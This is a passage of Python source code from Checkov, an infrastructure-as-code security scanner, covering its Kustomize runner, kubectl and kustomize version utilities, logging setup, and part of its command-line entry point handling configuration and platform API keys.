str(pathlib.Path(kustomizeProcessedFolderAndMeta[file_path]['calculated_bases'])) checkov_kustomize_env_name_by_path = str(pathlib.Path(file_path).relative_to(pathlib.Path(kustomizeProcessedFolderAndMeta[file_path]['calculated_bases']).parent)) kustomizeProcessedFolderAndMeta[file_path]['overlay_name'] = checkov_kustomize_env_name_by_path logging.debug(f"Overlay based on {kustomizeProcessedFolderAndMeta[file_path]['validated_base']}, naming overlay {checkov_kustomize_env_name_by_path} for Checkov Results.") else: checkov_kustomize_env_name_by_path = pathlib.Path(file_path).stem kustomizeProcessedFolderAndMeta[file_path]['overlay_name'] = checkov_kustomize_env_name_by_path logging.debug(f"Could not confirm base dir for Kustomize overlay/env. Using {checkov_kustomize_env_name_by_path} for Checkov Results.") except KeyError: checkov_kustomize_env_name_by_path = pathlib.Path(file_path).stem kustomizeProcessedFolderAndMeta[file_path]['overlay_name'] = checkov_kustomize_env_name_by_path logging.debug(f"Could not confirm base dir for Kustomize overlay/env. Using {checkov_kustomize_env_name_by_path} for Checkov Results.") @staticmethod def _get_parsed_output( file_path: str, extract_dir: str, output: str, shared_kustomize_file_mappings: dict[str, str] ) -> TextIO | None: cur_source_file = None cur_writer = None last_line_dashes = False line_num = 1 file_num = 0 # page-to-file parser from helm framework works well, but we expect the file to start with --- in this case from Kustomize. output = "---\n" + output reader = io.StringIO(output) for s in reader: s = s.rstrip() if s == '---': last_line_dashes = True continue if last_line_dashes: # The next line should contain a "apiVersion" line for the next Kubernetes manifest # So we will close the old file, open a new file, and write the dashes from last iteration plus this line source = file_num file_num += 1 if source != cur_source_file: if cur_writer: # Here we are about to close a "complete" file. The function will validate it looks like a K8S manifest before continuing. Runner._curWriterValidateStoreMapAndClose(cur_writer, file_path, shared_kustomize_file_mappings) parent = os.path.dirname(os.path.join(extract_dir, str(source))) os.makedirs(parent, exist_ok=True) cur_source_file = source cur_writer = open(os.path.join(extract_dir, str(source)), 'a') if cur_writer: cur_writer.write('---' + os.linesep) cur_writer.write(s + os.linesep) last_line_dashes = False else: if not cur_writer: continue else: cur_writer.write(s + os.linesep) line_num += 1 return cur_writer def _get_kubectl_output(self, filePath: str, template_renderer_command: str, source_type: str | None) -> bytes | None: # Template out the Kustomizations to Kubernetes YAML if template_renderer_command == "kubectl": template_render_command_options = "kustomize" elif template_renderer_command == "kustomize": template_render_command_options = "build" else: logging.error(f"Template renderer command has an invalid value: {template_renderer_command}") return None add_origin_annotations_return_code = None if self.checkov_allow_kustomize_file_edits: add_origin_annotations_command = 'kustomize edit add buildmetadata originAnnotations' add_origin_annotations_return_code = subprocess.run(add_origin_annotations_command.split(' '), # nosec cwd=filePath).returncode full_command = f'{template_renderer_command} {template_render_command_options}' proc = subprocess.Popen(full_command.split(' '), cwd=filePath, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # nosec output, _ = proc.communicate() if self.checkov_allow_kustomize_file_edits and add_origin_annotations_return_code == 0: # If the return code is not 0, we didn't add the new buildmetadata field, so we shouldn't remove it remove_origin_annotaions = 'kustomize edit remove buildmetadata originAnnotations' subprocess.run(remove_origin_annotaions.split(' '), cwd=filePath) # nosec logging.info( f"Ran kubectl to build Kustomize output. DIR: {filePath}. TYPE: {source_type}.") return output @staticmethod def _get_env_or_base_path_prefix( file_path: str, kustomize_processed_folder_and_meta: dict[str, dict[str, Any]] ) -> str | None: env_or_base_path_prefix = None if kustomize_processed_folder_and_meta[file_path].get('type') == "overlay": if 'calculated_bases' not in kustomize_processed_folder_and_meta[file_path]: logging.debug(f"Kustomize: Overlay with unknown base. User may have specified overlay dir directly. {file_path}") env_or_base_path_prefix = "" else: base_path_parts = pathlib.Path(kustomize_processed_folder_and_meta[file_path]['calculated_bases']).parts most_significant_base_path = f"/{base_path_parts[-3]}/{base_path_parts[-2]}" env_or_base_path_prefix = f"{most_significant_base_path}/{kustomize_processed_folder_and_meta[file_path]['overlay_name']}" elif kustomize_processed_folder_and_meta[file_path].get('type') == "base": # Validated base last three parents as a path base_path_parts = pathlib.Path(kustomize_processed_folder_and_meta[file_path]['filePath']).parts most_significant_base_path = f"/{base_path_parts[-4]}/{base_path_parts[-3]}/{base_path_parts[-2]}" env_or_base_path_prefix = most_significant_base_path return env_or_base_path_prefix def get_binary_output_from_directory( self, file_path: str, template_renderer_command: str, ) -> tuple[bytes, str] | tuple[None, None]: kustomizeProcessedFolderAndMeta = {file_path: self._parseKustomization(file_path)} if kustomizeProcessedFolderAndMeta[file_path].get('type') == 'overlay': self._handle_overlay_case(file_path, kustomizeProcessedFolderAndMeta) return self.get_binary_output(file_path, kustomizeProcessedFolderAndMeta, template_renderer_command) def get_binary_output( self, file_path: str, kustomize_processed_folder_and_meta: dict[str, dict[str, Any]], template_renderer_command: str, ) -> tuple[bytes, str] | tuple[None, None]: source_type = kustomize_processed_folder_and_meta[file_path].get('type') logging.debug(f"Kustomization at {file_path} likely a {source_type}") try: output = self._get_kubectl_output(file_path, template_renderer_command, source_type) if output is None: return None, None return output, file_path except Exception: logging.warning(f"Error building Kustomize output at dir: {file_path}.", exc_info=True) return None, None @staticmethod def _parse_output( output: bytes, file_path: str, kustomize_processed_folder_and_meta: dict[str, dict[str, Any]], target_folder_path: str, shared_kustomize_file_mappings: dict[str, str], ) -> None: env_or_base_path_prefix = Runner._get_env_or_base_path_prefix(file_path, kustomize_processed_folder_and_meta) if env_or_base_path_prefix is None: logging.warning(f"env_or_base_path_prefix is None, filePath: {file_path}", exc_info=True) return extract_dir = target_folder_path + env_or_base_path_prefix os.makedirs(extract_dir, exist_ok=True) logging.debug(f"Kustomize: Temporary directory for {file_path} at {extract_dir}") output_str = output.decode("utf-8") cur_writer = Runner._get_parsed_output(file_path, extract_dir, output_str, shared_kustomize_file_mappings) if cur_writer: Runner._curWriterValidateStoreMapAndClose(cur_writer, file_path, shared_kustomize_file_mappings) def _run_kustomize_parser( self, file_path: str, shared_kustomize_file_mappings: dict[str, str], kustomize_processed_folder_and_meta: dict[str, dict[str, Any]], template_renderer_command: str, target_folder_path: str, ) -> None: output, _ = self.get_binary_output(file_path, kustomize_processed_folder_and_meta, template_renderer_command) if not output: return Runner._parse_output(output, file_path, kustomize_processed_folder_and_meta, target_folder_path, shared_kustomize_file_mappings) def run_kustomize_to_k8s( self, root_folder: str | None, files: list[str] | None, runner_filter: RunnerFilter ) -> None: kustomize_dirs = find_kustomize_directories(root_folder, files, runner_filter.excluded_paths) if not kustomize_dirs: # nothing to process return for kustomize_dir in kustomize_dirs: self.kustomizeProcessedFolderAndMeta[kustomize_dir] = self._parseKustomization(kustomize_dir) self.target_folder_path = tempfile.mkdtemp() for file_path in self.kustomizeProcessedFolderAndMeta: if self.kustomizeProcessedFolderAndMeta[file_path].get('type') == 'overlay': self._handle_overlay_case(file_path) if platform.system() == 'Windows': if not self.templateRendererCommand: logging.error("The 'templateRendererCommand' was not set correctly") return shared_kustomize_file_mappings: dict[str, str] = {} for file_path in self.kustomizeProcessedFolderAndMeta: self._run_kustomize_parser( file_path=file_path, shared_kustomize_file_mappings=shared_kustomize_file_mappings, kustomize_processed_folder_and_meta=self.kustomizeProcessedFolderAndMeta, template_renderer_command=self.templateRendererCommand, target_folder_path=self.target_folder_path, ) self.kustomizeFileMappings = shared_kustomize_file_mappings return manager = multiprocessing.Manager() # make sure we have new dict shared_kustomize_file_mappings = pickle_deepcopy(manager.dict()) # type:ignore[arg-type] # works with DictProxy shared_kustomize_file_mappings.clear() items = [ ( filePath, shared_kustomize_file_mappings, self.kustomizeProcessedFolderAndMeta, self.templateRendererCommand, self.target_folder_path, ) for filePath in self.kustomizeProcessedFolderAndMeta ] list(parallel_runner.run_function(self._run_kustomize_parser, items)) self.kustomizeFileMappings = dict(shared_kustomize_file_mappings) def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() self.run_kustomize_to_k8s(root_folder, files, runner_filter) report: "Report | list[Report]" = Report(self.check_type) if not self.kustomizeProcessedFolderAndMeta: # nothing to process return report target_dir = "" try: k8s_runner = K8sKustomizeRunner() # k8s_runner.run() will kick off both CKV_ and CKV2_ checks and return a merged results object. target_dir = self.get_k8s_target_folder_path() k8s_runner.report_mutator_data = self.get_kustomize_metadata() if root_folder: k8s_runner.original_root_dir = root_folder # the returned report can be a list of reports, which also includes an SCA image report report = k8s_runner.run(target_dir, external_checks_dir=external_checks_dir, runner_filter=runner_filter) self.graph_manager = k8s_runner.graph_manager logging.debug(f"Successfully ran k8s scan on Kustomization templated files in tmp scan dir : {target_dir}") shutil.rmtree(target_dir) except Exception: logging.warning("Failed to run Kubernetes runner", exc_info=True) with tempfile.TemporaryDirectory() as save_error_dir: logging.debug( f"Error running k8s scan on Scan dir: {target_dir}. Saved context dir: {save_error_dir}") shutil.move(target_dir, save_error_dir) return report @staticmethod def _curWriterValidateStoreMapAndClose( cur_writer: TextIO, file_path: str, shared_kustomize_file_mappings: dict[str, str] ) -> None: currentFileName = cur_writer.name cur_writer.close() # Now we have a complete k8s manifest as we closed the writer, and it's temporary file name (currentFileName) plus the original file templated out (FilePath) # Rename them to useful information from the K8S metadata before conting. # Then keep a mapping of template files to original kustomize repo locations for use with Checkov output later. try: with open(currentFileName) as f: currentYamlObject = yaml.safe_load(f) # Validate we have a K8S manifest if "apiVersion" in currentYamlObject: itemName = [] itemName.append(currentYamlObject['kind']) if 'namespace' in currentYamlObject['metadata']: itemName.append(currentYamlObject['metadata']['namespace']) else: itemName.append("default") if 'name' in currentYamlObject['metadata']: itemName.append(currentYamlObject['metadata']['name']) else: itemName.append("noname") filename = f"{'-'.join(itemName)}.yaml" newFullPathFilename = str(pathlib.Path(currentFileName).parent / filename) os.rename(currentFileName, newFullPathFilename) shared_kustomize_file_mappings[newFullPathFilename] = file_path else: raise Exception(f'Not a valid Kubernetes manifest (no apiVersion) while parsing Kustomize template: {file_path}. Templated output: {currentFileName}.') except IsADirectoryError: pass def find_kustomize_directories( root_folder: str | None, files: list[str] | None, excluded_paths: list[str] ) -> list[str]: kustomize_directories = [] if not excluded_paths: excluded_paths = [] if files: logging.info('Running with --file argument; file must be a kustomization.yaml file') for file in files: if os.path.basename(file) in Runner.kustomizeSupportedFileTypes: kustomize_directories.append(os.path.dirname(file)) if root_folder: for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) kustomize_directories.extend( os.path.abspath(root) for x in f_names if x in Runner.kustomizeSupportedFileTypes ) return kustomize_directories ================================================ FILE: checkov/kustomize/utils.py ================================================ from __future__ import annotations import logging import subprocess # nosec def get_kustomize_version(kustomize_command: str) -> str | None: try: proc = subprocess.run([kustomize_command, "version"], capture_output=True) # nosec version_output = proc.stdout.decode("utf-8") if "Version:" in version_output: # version <= 4 output looks like '{Version:kustomize/v4.5.7 GitCommit:...}\n' kustomize_version = version_output[version_output.find("/") + 1 : version_output.find("G") - 1] elif version_output.startswith("v"): # version >= 5 output looks like 'v5.0.0\n' kustomize_version = version_output.rstrip("\n") else: return None return kustomize_version except Exception: logging.debug(f"An error occurred testing the {kustomize_command} command:", exc_info=True) return None def get_kubectl_version(kubectl_command: str) -> float | None: try: proc = subprocess.run([kubectl_command, "version", "--client=true"], capture_output=True) # nosec version_output = proc.stdout.decode("utf-8") if "Client Version:" in version_output: if "Major:" in version_output and "Minor:" in version_output: # version <= 1.27 output looks like 'Client Version: version.Info{Major:"1", Minor:"27", GitVersion:...}\n...' kubectl_version_major = version_output.split("\n")[0].split('Major:"')[1].split('"')[0] kubectl_version_minor = version_output.split("\n")[0].split('Minor:"')[1].split('"')[0] else: # version >= 1.28 output looks like 'Client Version: v1.28.0\n...' kubectl_version_str = version_output.split("\n")[0].replace("Client Version: v", "") kubectl_version_major, kubectl_version_minor, *_ = kubectl_version_str.split(".") kubectl_version = float(f"{kubectl_version_major}.{kubectl_version_minor}") return kubectl_version except Exception: logging.debug(f"An error occurred testing the {kubectl_command} command:", exc_info=True) return None ================================================ FILE: checkov/logging_init.py ================================================ import logging import os from io import StringIO from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger LOG_LEVEL = os.getenv('LOG_LEVEL', 'WARNING').upper() logging.basicConfig(level=LOG_LEVEL) log_formatter = logging.Formatter("%(asctime)s [%(threadName)-12.12s] [%(levelname)-5.5s] %(message)s") root_logger = logging.getLogger() add_resource_code_filter_to_logger(root_logger) stream_handler = root_logger.handlers[0] stream_handler.setFormatter(log_formatter) stream_handler.setLevel(LOG_LEVEL) root_logger.setLevel(logging.DEBUG) logging.getLogger().setLevel(logging.DEBUG) logging.getLogger("urllib3").setLevel(logging.ERROR) logging.getLogger("urllib3.connectionpool").setLevel(logging.ERROR) logging.getLogger("urllib3.connectionpool").propagate = False logging.getLogger("urllib3").propagate = False log_stream = StringIO() stream_handler = logging.StreamHandler(stream=log_stream) stream_handler.setFormatter(log_formatter) stream_handler.setLevel(logging.DEBUG) root_logger.addHandler(stream_handler) def erase_log_stream() -> None: log_stream.seek(0) log_stream.truncate(0) ================================================ FILE: checkov/main.py ================================================ #!/usr/bin/env python from __future__ import annotations import atexit import itertools import json import logging import os import platform import shutil import signal import sys from collections import defaultdict from pathlib import Path from typing import TYPE_CHECKING, Any, Dict, Literal, Optional, List, Set import argcomplete import configargparse from urllib3.exceptions import MaxRetryError import checkov.logging_init # noqa # should be imported before the others to ensure correct logging setup from checkov.ansible.runner import Runner as ansible_runner from checkov.argo_workflows.runner import Runner as argo_workflows_runner from checkov.arm.runner import Runner as arm_runner from checkov.azure_pipelines.runner import Runner as azure_pipelines_runner from checkov.bicep.runner import Runner as bicep_runner from checkov.bitbucket.runner import Runner as bitbucket_configuration_runner from checkov.bitbucket_pipelines.runner import Runner as bitbucket_pipelines_runner from checkov.cdk.runner import CdkRunner from checkov.circleci_pipelines.runner import Runner as circleci_pipelines_runner from checkov.cloudformation.runner import Runner as cfn_runner from checkov.common.bridgecrew.bc_source import SourceTypes, BCSourceType, get_source_type, SourceType from checkov.common.bridgecrew.check_type import checkov_runners, CheckType from checkov.common.bridgecrew.platform_errors import ModuleNotEnabledError, PlatformConnectionError from checkov.common.bridgecrew.integration_features.features.custom_policies_integration import \ integration as custom_policies_integration from checkov.common.bridgecrew.integration_features.features.licensing_integration import \ integration as licensing_integration from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ integration as policy_metadata_integration from checkov.common.bridgecrew.integration_features.features.repo_config_integration import \ integration as repo_config_integration from checkov.common.bridgecrew.integration_features.features.suppressions_integration import \ integration as suppressions_integration from checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.severities import BcSeverities from checkov.common.goget.github.get_git import GitGetter from checkov.common.logger_streams import logger_streams from checkov.common.output.baseline import Baseline from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.runners.runner_registry import RunnerRegistry from checkov.common.sast.consts import SastLanguages from checkov.common.typing import LibraryGraph from checkov.common.util import prompt from checkov.common.util.banner import banner as checkov_banner, default_tool as default_tool from checkov.common.util.config_utils import get_default_config_paths from checkov.common.util.ext_argument_parser import ExtArgumentParser, flatten_csv from checkov.common.util.runner_dependency_handler import RunnerDependencyHandler from checkov.common.util.type_forcers import convert_str_to_bool, convert_str_to_optional_bool from checkov.common.util.env_vars_config import env_vars_config from checkov.contributor_metrics import report_contributor_metrics from checkov.dockerfile.runner import Runner as dockerfile_runner from checkov.docs_generator import print_checks from checkov.github.runner import Runner as github_configuration_runner from checkov.github_actions.runner import Runner as github_actions_runner from checkov.gitlab.runner import Runner as gitlab_configuration_runner from checkov.gitlab_ci.runner import Runner as gitlab_ci_runner from checkov.helm.runner import Runner as helm_runner from checkov.json_doc.runner import Runner as json_runner from checkov.kubernetes.runner import Runner as k8_runner from checkov.kustomize.runner import Runner as kustomize_runner from checkov.logging_init import log_stream as logs_stream from checkov.openapi.runner import Runner as openapi_runner from checkov.runner_filter import RunnerFilter from checkov.common.sast.report_types import serialize_reachability_report from checkov.sast.report import SastData, SastReport from checkov.sast.runner import Runner as sast_runner from checkov.sca_image.runner import Runner as sca_image_runner from checkov.sca_package_2.runner import Runner as sca_package_runner_2 from checkov.secrets.runner import Runner as secrets_runner from checkov.serverless.runner import Runner as sls_runner from checkov.terraform.plan_runner import Runner as tf_plan_runner from checkov.terraform.runner import Runner as tf_graph_runner from checkov.terraform_json.runner import TerraformJsonRunner from checkov.version import version from checkov.yaml_doc.runner import Runner as yaml_runner if TYPE_CHECKING: from checkov.common.output.report import Report from checkov.common.runners.base_runner import BaseRunner from configargparse import Namespace signal.signal(signal.SIGINT, lambda x, y: sys.exit('')) outer_registry = None logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) # sca package runner added during the run method DEFAULT_RUNNERS: "list[BaseRunner[Any, Any, Any]]" = [ tf_graph_runner(), cfn_runner(), k8_runner(), sls_runner(), arm_runner(), tf_plan_runner(), helm_runner(), dockerfile_runner(), secrets_runner(), json_runner(), yaml_runner(), github_configuration_runner(), gitlab_configuration_runner(), gitlab_ci_runner(), bitbucket_configuration_runner(), bitbucket_pipelines_runner(), kustomize_runner(), github_actions_runner(), bicep_runner(), openapi_runner(), sca_image_runner(), sca_package_runner_2(), argo_workflows_runner(), circleci_pipelines_runner(), azure_pipelines_runner(), ansible_runner(), TerraformJsonRunner(), sast_runner(), CdkRunner(), ] class Checkov: def __init__(self, argv: list[str] = sys.argv[1:]) -> None: self.config: "Namespace" # set in 'parse_config()' self.parser: "ExtArgumentParser" # set in 'parse_config()' self.runners = DEFAULT_RUNNERS.copy() self.scan_reports: "list[Report]" = [] self.run_metadata: dict[str, str | list[str]] = {} self.graphs: dict[str, list[tuple[LibraryGraph, Optional[str]]]] = {} self.resource_subgraph_maps: dict[str, dict[str, str]] = {} self.url: str | None = None self.sast_data: SastData = SastData() self.parse_config(argv=argv) def _parse_mask_to_resource_attributes_to_omit(self) -> None: resource_attributes_to_omit = defaultdict(set) for entry in self.config.mask: splitted_entry = entry.split(':') # if we have 2 entries, this is resource & variable to mask splitted_entry_len = len(splitted_entry) if 2 == splitted_entry_len: resource = splitted_entry[0] variables_to_mask = splitted_entry[1].split(',') resource_attributes_to_omit[resource].update(variables_to_mask) # ToDo: Uncomment if we want to support universal masking # elif 1 == splitted_entry_len: # variables_to_mask = splitted_entry[0].split(',') # resource_attributes_to_omit[RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK].update(variables_to_mask) self.config.mask = resource_attributes_to_omit def parse_config(self, argv: list[str] = sys.argv[1:]) -> None: """Parses the user-defined config via CLI flags and handles missing config-file""" default_config_paths = get_default_config_paths(sys.argv[1:]) self.parser = ExtArgumentParser( description='Infrastructure as code static analysis', default_config_files=default_config_paths, config_file_parser_class=configargparse.YAMLConfigFileParser, add_env_var_help=True, ) self.parser.add_parser_args() argcomplete.autocomplete(self.parser) # Pre-validate the config-file argument if env_vars_config.ENABLE_CONFIG_FILE_VALIDATION: for i, arg in enumerate(argv): if arg == "--config-file" and i + 1 < len(argv): config_path = Path(argv[i + 1]) if not config_path.is_file(): logger.debug(f"The config file at '{config_path}' does not exist. Running without a config file.") argv[i + 1] = "" # Clear the non-existent file from arguments self.config = self.parser.parse_args(argv) self.normalize_config() def normalize_config(self) -> None: if not self.config.bc_api_key and not self.config.include_all_checkov_policies: # makes it easier to pick out policies later if we can just always rely on this flag without other context logger.debug('No API key present; setting include_all_checkov_policies to True') self.config.include_all_checkov_policies = True if self.config.use_enforcement_rules and not self.config.bc_api_key: self.parser.error('Must specify an API key with --use-enforcement-rules') if self.config.bc_api_key and not self.config.repo_id and not self.config.list: self.parser.error('--repo-id is required when using a platform API key') if (self.config.policy_metadata_filter or self.config.policy_metadata_filter_exception) and not (self.config.bc_api_key and self.config.prisma_api_url): logger.warning( '--policy-metadata-filter or --policy-metadata-filter-exception flag was used without a Prisma Cloud API key. Policy filtering will be skipped.' ) logging.debug('Normalizing --framework') self.config.framework = self.normalize_framework_arg(self.config.framework, handle_all=True) logging.debug(f'Normalized --framework value: {self.config.framework}') logging.debug('Normalizing --skip-framework') self.config.skip_framework = self.normalize_framework_arg(self.config.skip_framework) logging.debug(f'Normalized --skip-framework value: {self.config.skip_framework}') duplicate_frameworks = set(self.config.skip_framework).intersection(self.config.framework) if duplicate_frameworks: self.parser.error(f'Frameworks listed for both --framework and --skip-framework: {", ".join(duplicate_frameworks)}') # Parse mask into json with default dict. If self.config.mask is empty list, default dict will be assigned self._parse_mask_to_resource_attributes_to_omit() if self.config.file: # it is passed as a list of lists self.config.file = list(itertools.chain.from_iterable(self.config.file)) def normalize_framework_arg(self, raw_framework_arg: List[List[str]], handle_all: bool = False) -> List[str]: # frameworks come as arrays of arrays, e.g. --framework terraform arm --framework bicep,cloudformation # becomes: [['terraform', 'arm'], ['bicep,cloudformation']] # we'll collapse it into a single array (which is how it was before checkov3) if raw_framework_arg: logging.debug(f'Raw framework value: {raw_framework_arg}') frameworks = flatten_csv(raw_framework_arg) logging.debug(f'Flattened frameworks: {frameworks}') if handle_all and 'all' in frameworks: return ['all'] else: invalid = list(filter(lambda f: f not in checkov_runners, frameworks)) if invalid: self.parser.error(f'Invalid frameworks specified: {", ".join(invalid)}.{os.linesep}' f'Valid values are: {", ".join(checkov_runners + ["all"] if handle_all else [])}') return frameworks elif handle_all: logging.debug('No framework specified; setting to `all`') return ['all'] else: logging.debug('No framework specified; setting to none') return [] def run(self, banner: str = checkov_banner, tool: str = default_tool, source_type: SourceType | None = None) -> int | None: self.run_metadata = { "checkov_version": version, "python_executable": sys.executable, "python_version": sys.version, "checkov_executable": sys.argv[0], "args": self.parser.format_values(sanitize=True).split('\n'), "OS_system_info": platform.platform(), "CPU_architecture": platform.processor(), "Python_implementation": platform.python_implementation() } logger.debug(f'Run metadata: {json.dumps(self.run_metadata, indent=2)}') if self.config.custom_tool_name: # if the user specifies a tool name, use that tool = self.config.custom_tool_name try: if self.config.add_check: resp = prompt.Prompt() check = prompt.Check(resp.responses) check.action() return None # Check if --output value is None. If so, replace with ['cli'] for default cli output. if self.config.output is None: self.config.output = ['cli'] if self.config.support: bc_integration.support_flag_enabled = True if self.config.bc_api_key and not self.config.include_all_checkov_policies: if self.config.skip_download and not self.config.external_checks_dir: print('You are using an API key along with --skip-download but not --include-all-checkov-policies or --external-checks-dir. ' 'With these arguments, Checkov cannot fetch metadata to determine what is a local Checkov-only ' 'policy and what is a platform policy, so no policies will be evaluated. Please re-run Checkov ' 'and either remove the --skip-download option, or use the --include-all-checkov-policies and / or ' '--external-checks-dir options.', file=sys.stderr) self.exit_run() elif self.config.skip_download: print('You are using an API key along with --skip-download but not --include-all-checkov-policies. ' 'With these arguments, Checkov cannot fetch metadata to determine what is a local Checkov-only ' 'policy and what is a platform policy, so only local custom policies loaded with --external-checks-dir ' 'will be evaluated.', file=sys.stderr) else: logger.debug('Using API key and not --include-all-checkov-policies - only running platform policies ' '(this is the default behavior, and this message is just for debugging purposes)') # bridgecrew uses both the urllib3 and requests libraries, while checkov uses the requests library. # Allow the user to specify a CA bundle to be used by both libraries. bc_integration.setup_http_manager(self.config.ca_certificate, self.config.no_cert_verify) # if a repo is passed in it'll save it. Otherwise a default will be created based on the file or dir self.config.repo_id = bc_integration.persist_repo_id(self.config) # if a bc_api_key is passed it'll save it. Otherwise it will check ~/.bridgecrew/credentials self.config.bc_api_key = bc_integration.persist_bc_api_key(self.config) if not self.config.bc_api_key: # check, if someone tries to use a severity filter without an API key severities = {severity for severity in BcSeverities.__dict__.values() if isinstance(severity, str)} if ( (self.config.check and any(check in severities for check in self.config.check)) or (self.config.skip_check and any(check in severities for check in self.config.skip_check)) ): logging.warning("Filtering checks by severity is only possible with an API key") excluded_paths = self.config.skip_path or [] if self.config.var_file: self.config.var_file = [os.path.abspath(f) for f in self.config.var_file] runner_filter = RunnerFilter( framework=self.config.framework, skip_framework=self.config.skip_framework, checks=self.config.check, skip_checks=self.config.skip_check, include_all_checkov_policies=self.config.include_all_checkov_policies, download_external_modules=convert_str_to_optional_bool(self.config.download_external_modules), external_modules_download_path=self.config.external_modules_download_path, evaluate_variables=bool(convert_str_to_bool(self.config.evaluate_variables)), runners=checkov_runners, excluded_paths=excluded_paths, all_external=self.config.run_all_external_checks, var_files=self.config.var_file, skip_cve_package=self.config.skip_cve_package, show_progress_bar=not self.config.quiet, use_enforcement_rules=self.config.use_enforcement_rules, enable_secret_scan_all_files=bool(convert_str_to_bool(self.config.enable_secret_scan_all_files)), block_list_secret_scan=self.config.block_list_secret_scan, deep_analysis=self.config.deep_analysis, repo_root_for_plan_enrichment=self.config.repo_root_for_plan_enrichment, resource_attr_to_omit=self.config.mask, enable_git_history_secret_scan=self.config.scan_secrets_history, git_history_timeout=self.config.secrets_history_timeout, report_sast_imports=bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_IMPORTS', False))), report_sast_reachability=bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_REACHABILITY', False))) ) source_env_val = os.getenv('BC_SOURCE', 'cli') source = source_type if source_type else get_source_type(source_env_val) if source == SourceTypes[BCSourceType.DISABLED]: logger.warning( f'Received unexpected value for BC_SOURCE: {source_env_val}; Should be one of {{{",".join(SourceTypes.keys())}}} setting source to DISABLED') source_version = os.getenv('BC_SOURCE_VERSION', version) logger.debug(f'BC_SOURCE = {source.name}, version = {source_version}') if self.config.list: # This speeds up execution by not setting up upload credentials (since we won't upload anything anyways) logger.debug('Using --list; setting source to DISABLED') source = SourceTypes[BCSourceType.DISABLED] if outer_registry: runner_registry = outer_registry runner_registry.runner_filter = runner_filter runner_registry.filter_runner_framework() else: runner_registry = RunnerRegistry(banner, runner_filter, *self.runners, tool=tool) runnerDependencyHandler = RunnerDependencyHandler(runner_registry) runnerDependencyHandler.validate_runner_deps() if self.config.show_config: print(self.parser.format_values(sanitize=True)) return None if self.config.bc_api_key == '': self.parser.error( 'The --bc-api-key flag was specified but the value was blank. If this value was passed as a ' 'secret, you may need to double check the mapping.' ) elif self.config.bc_api_key: logger.debug(f'Using API key ending with {self.config.bc_api_key[-8:]}') if not bc_integration.is_token_valid(self.config.bc_api_key): raise Exception('The provided API key does not appear to be a valid Bridgecrew API key or Prisma Cloud ' 'access key and secret key. For Prisma, the value must be in the form ' 'ACCESS_KEY::SECRET_KEY. For Bridgecrew, make sure to copy the token value from when you ' 'created it, not the token ID visible later on. If you are using environment variables, ' 'make sure they are properly set and exported.') if not self.config.list: # if you are only listing policies, then the API key will be used to fetch policies, but that's it, # so the repo is not required and ignored if self.config.repo_id is None: self.parser.error("--repo-id argument is required when using --bc-api-key") else: repo_id_sections = self.config.repo_id.split('/') if len(repo_id_sections) < 2 or any(len(section) == 0 for section in repo_id_sections): self.parser.error( "--repo-id argument format should be 'organization/repository_name' E.g " "bridgecrewio/checkov" ) try: bc_integration.bc_api_key = self.config.bc_api_key bc_integration.api_url = 'https://www.bridgecrew.cloud' bc_integration.setup_bridgecrew_credentials(repo_id=self.config.repo_id, skip_fixes=False, # will be set to True if this run is not eligible for fixes skip_download=self.config.skip_download, source=source, source_version=source_version, repo_branch=self.config.branch, prisma_api_url=self.config.prisma_api_url) except MaxRetryError: self.exit_run() except PlatformConnectionError: self.exit_run() except Exception: if bc_integration.prisma_api_url: message = 'An error occurred setting up the Prisma Cloud platform integration. ' \ 'Please check your Prisma Cloud API token and URL and try again.' else: message = 'An error occurred setting up the Bridgecrew platform integration. ' \ 'Please check your API token and try again.' if logger.isEnabledFor(logging.DEBUG): logger.debug(message, exc_info=True) else: logger.error(message) logger.error('Please try setting the environment variable LOG_LEVEL=DEBUG and re-running the command, and provide the output to support', exc_info=True) self.exit_run() else: if bc_integration.support_flag_enabled: logger.warning("--bc-api-key argument is required when using --support") logger.debug('No API key found. Scanning locally only.') self.config.include_all_checkov_policies = True if self.config.check and self.config.skip_check: if any(item in runner_filter.checks for item in runner_filter.skip_checks): self.parser.error("The check ids specified for '--check' and '--skip-check' must be mutually exclusive.") return None BC_SKIP_MAPPING = os.getenv("BC_SKIP_MAPPING", "FALSE") if self.config.skip_download or BC_SKIP_MAPPING.upper() == "TRUE": bc_integration.skip_download = True try: bc_integration.get_platform_run_config() except Exception: if not self.config.include_all_checkov_policies: # stack trace gets printed in the exception handlers above # include_all_checkov_policies will always be set when there is no API key, so we don't need to worry about it here print('An error occurred getting data from the platform, including policy metadata. Because --include-all-checkov-policies ' 'was not used, Checkov cannot differentiate Checkov-only policies from platform policies, and no ' 'policies will get evaluated. Please resolve the error above or re-run with the --include-all-checkov-policies argument ' '(but note that this will not include any custom platform configurations or policy metadata).', file=sys.stderr) self.exit_run() # bc_integration.get_runtime_run_config() bc_integration.setup_on_prem() if bc_integration.on_prem: # disable --support for on-premises integrations if bc_integration.support_flag_enabled: logger.warning("--support flag is not supported for on-premises integrations") bc_integration.support_flag_enabled = False # disable sca_package, sca_image for on-premises integrations if not outer_registry: removed_check_types = [] for runner in list(runner_registry.runners): if runner.check_type in [CheckType.SCA_IMAGE, CheckType.SCA_PACKAGE]: removed_check_types.append(runner.check_type) runner_registry.runners.remove(runner) if removed_check_types: logger.warning(f"Following runners won't run as they are not supported for on-premises integrations: {removed_check_types}") bc_integration.get_prisma_build_policies(self.config.policy_metadata_filter, self.config.policy_metadata_filter_exception) # set config to make it usable inside the integration features integration_feature_registry.config = self.config integration_feature_registry.run_pre_scan() # assign policies suppression to runner_filter policy_level_suppression = 